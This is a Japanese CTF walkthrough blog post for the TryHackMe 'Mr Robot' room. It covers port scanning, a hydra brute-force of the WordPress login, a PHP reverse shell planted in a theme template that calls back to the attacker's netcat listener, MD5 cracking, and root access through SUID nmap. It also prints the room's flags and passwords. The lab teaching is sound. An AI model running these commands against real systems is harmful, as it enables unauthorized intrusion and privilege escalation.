1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Mr Robot CTF:Walkthrough

Posted at

概要

TryHackMe「Mr Robot CTF」のWalkthroughです。

Task2

Q1.What is key 1?

Hint.Robots

nmapでポートスキャンを実行します。

$ nmap -sC -A -T4 -p- 10.10.165.108                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 10:11 EDT
Nmap scan report for 10.10.165.108
Host is up (0.24s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 451.80 seconds

80,443ポートがオープンになっていることがわかりました。

Webサイトにアクセスするとコマンドが実行でき、それに応じてアプリケーションのアクションがありましたが、特にめぼしいものは見つかりませんでした。

web home.png

次にdirsearchでWebアプリケーションのディレクトリを列挙します。

$ dirsearch -u http://10.10.165.108

robots.txtを発見しました。

[10:31:11] 200 -   41B  - /robots.txt

ヒントからもrobots.txtが怪しいと思い、アクセスするとkey-1-of-3.txtという興味深いファイル名を得られました。

robots txt.png

アクセスするとkey1が表示されました。

key1.png

A.073403c8a58a1f80d943455fb30724b9

Q2.What is key 2?

Hint.There's something fishy about this wordlist... Why is it so long?

同じくrobots.txtfsocity.dicという辞書ファイルの様な記載があるのでアクセスし、ダウンロードします。
中身はワードリストぽいですね。

$ head fsocity.dic 
true
false
wikia
from
the
now
Wikia
extensions
scss
window

ヒントからこのワードリスト自体が怪しいみたいです。
ファイルサイズも中々大きいので調べると85万行もあります。

$ cat fsocity.dic | wc -l                 
858160

さらに調べていくと、重複するワードも含まれていることが分かりました。

$ cat fsocity.dic | grep -x "user" | wc -l
75

sortコマンドでソートしてuniqコマンドで重複を削除し、ファイルに保存します。

$ sort fsocity.dic | uniq > wordlist.txt

ワードリストを一万行まで減らすことができました。

$ cat wordlist.txt | wc -l              
11451

また、wordpress関連のパスも見つけました。
ログイン画面にもアクセスできるようになっています。

[10:31:55] 200 -    1KB - /wp-login
[10:31:55] 200 -    1KB - /wp-login.php
[10:31:55] 200 -    1KB - /wp-login/

wp login.png

ログインを試してみるとユーザー名が無効の旨のエラーが出ました。

invalid user name.png

先ほどの辞書ファイルでブルートフォース攻撃を試せば、ユーザー名を特定できそうです。
まず、リクエスト情報をburpで取得します。

q2 burp request.png

このPOSTリクエストを使用してhydraでブルートフォース攻撃をします。

$ hydra -L fsocity.dic -p test 10.10.165.108 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.165.108%2Fwp-admin%2F&testcookie=1:Invalid username" -t 30

オプションを軽く解説します。

  • -L
    • ユーザー名のワードリストを指定します
  • -p
    • パスワードを指定します
  • http-post-form
    • POSTリクエストに必要なパラメータなどを設定します
    • 下記フォーマットで指定します
    [リクエストパス]:[POSTパラメータ]:[失敗時のメッセージ]'
    
    • ユーザー名の部分には^USER^と指定する必要があります
    • パスワードの部分には^PASS^と指定する必要があります
  • -t
    • 並列処理数を設定します。デフォルトは16です

ユーザー名を特定できました。

[80][http-post-form] host: 10.10.165.108   login: Elliot   password: test

続けてパスワードも特定したいのでエラーメッセージを取得します。

invalid password.png

hydraでパスワードを特定します。

$ hydra -l Elliot -P wordlist.txt 10.10.165.108 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.165.108%2Fwp-admin%2F&testcookie=1:The password you entered for the username" -t 30

処理が終了し、パスワードの特定に成功しました。

[80][http-post-form] host: 10.10.165.108   login: Elliot   password: ER28-0652

ブルートフォース攻撃にwpscanなどを使用することもできます。

$ wpscan --url http://10.10.165.108 -U Elliot -P wordlist.txt -t 64

パスワードのクラックに成功しました。

[!] Valid Combinations Found:
 | Username: Elliot, Password: ER28-0652

ディレクトリスキャンでlicense.txtを発見できます。

[10:30:25] 200 -  158B  - /license
[10:30:25] 200 -  158B  - /license.txt

実はこのページのソースコードに認証情報がbase64でエンコードれて記載されています。

lisence.png

$ echo -n "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
elliot:ER28-0652

認証情報を入力してワードプレスにログインします。

wp dashbord.png

Appearance->Editor->404 Templateページなどで直接phpファイルの編集ができるようになっています。
ここにPHPのリバースシェルコードを埋め込むことでマシンに侵入できそうです。

php edit 404.png

リバースシェルコードはkaliに入っているものを使います。

$ ls -l /usr/share/webshells/php/php-reverse-shell.php 
-rwxr-xr-x 1 root root 5491 Nov 20  2021 /usr/share/webshells/php/php-reverse-shell.php

コードのIPアドレスとポート番号を編集します。

php-reverse-shell.php
$ip = '10.6.55.144';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

左下のUpdate FileをクリックしPHPのコードを書き換えます。

edit 404.png

netcatでリッスンします。

$ netcat -lnvp 1234

そしして/404.phpへアクセスするとシェルを取得できました。

$ netcat -lnvp 1234                
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.165.108] 51560
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 17:46:53 up  3:42,  0 users,  load average: 0.00, 0.01, 0.10
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ whoami
daemon
$ pwd
/

/home/robot配下にキーファイルを発見しましたが、読み取り権限がなく中身を閲覧できません。

$ ls -l /home/robot
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5
$ cat /home/robot/key-2-of-3.txt
cat: /home/robot/key-2-of-3.txt: Permission denied

代わりにpassword.raw-md5を閲覧できました。

$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

このハッシュ値はrobotアカウントのパスワードのようです。

ハッシュ値をhash.txtファイルに保存して、John the Ripperで解析します。

$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

a~zの文字列をパスワードにしているようです。

abcdefghijklmnopqrstuvwxyz (?)

このままrobotアカウントにログインしようとしましたが、ターミナルから実行する必要があると怒られました。
疑似端末(pty)をリバースシェルに割り当てる必要があります。

$ su robot
su: must be run from a terminal

pythonが入っているのを確認できたのでここからシェルを実行します。

$ python --version
Python 2.7.6
python -c 'import pty; pty.spawn("/bin/sh")'

robotアカウントでのログインに成功しました。

$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/$

key-2-of-3.txtファイルを読み込んで2つ目のキーをゲットです。

robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

A.822c73956184f694993bede3eb39f959

Q3.What is key 3?

Hint.nmap

sudo -lを実行し、特権ユーザーで実行できるコマンドがないか探しましたが、ダメそうです。

robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz

Sorry, user robot may not run sudo on linux.

sudo -lの使い方の記事を投稿しましたので、併せてご覧ください。
【ハッキング入門】sudo -lで権限昇格への足掛かりにする

suidビットが設定されたプログラムを検索します。

robot@linux:~$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
<rep -v -e "Permission denied" -e "No such file or directory"                
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

ヒントにもあるように、nmapが怪しいですね。
GTFOBinsnmapを利用したシェル取得を探しました。

サイトを参考にコマンドを実行すると、rootアカウントのシェルを取得できました。

robot@linux:~$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
#

nmapでの--interactiveオプションはバージョン2.02~5.21でのみ使用できるようです。

また、それ以外のバージョンではNSEを使用することでも権限昇格ができるようです。

NEC: 本当は怖いsudoコマンド

最後に/root配下のキーファイルを読み取ってルームクリアです。

# ls -l
ls -l
total 4
-rw-r--r-- 1 root root  0 Nov 13  2015 firstboot_done
-r-------- 1 root root 33 Nov 13  2015 key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

A.04787ddef27c3dee1ee161b21670b4e4

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?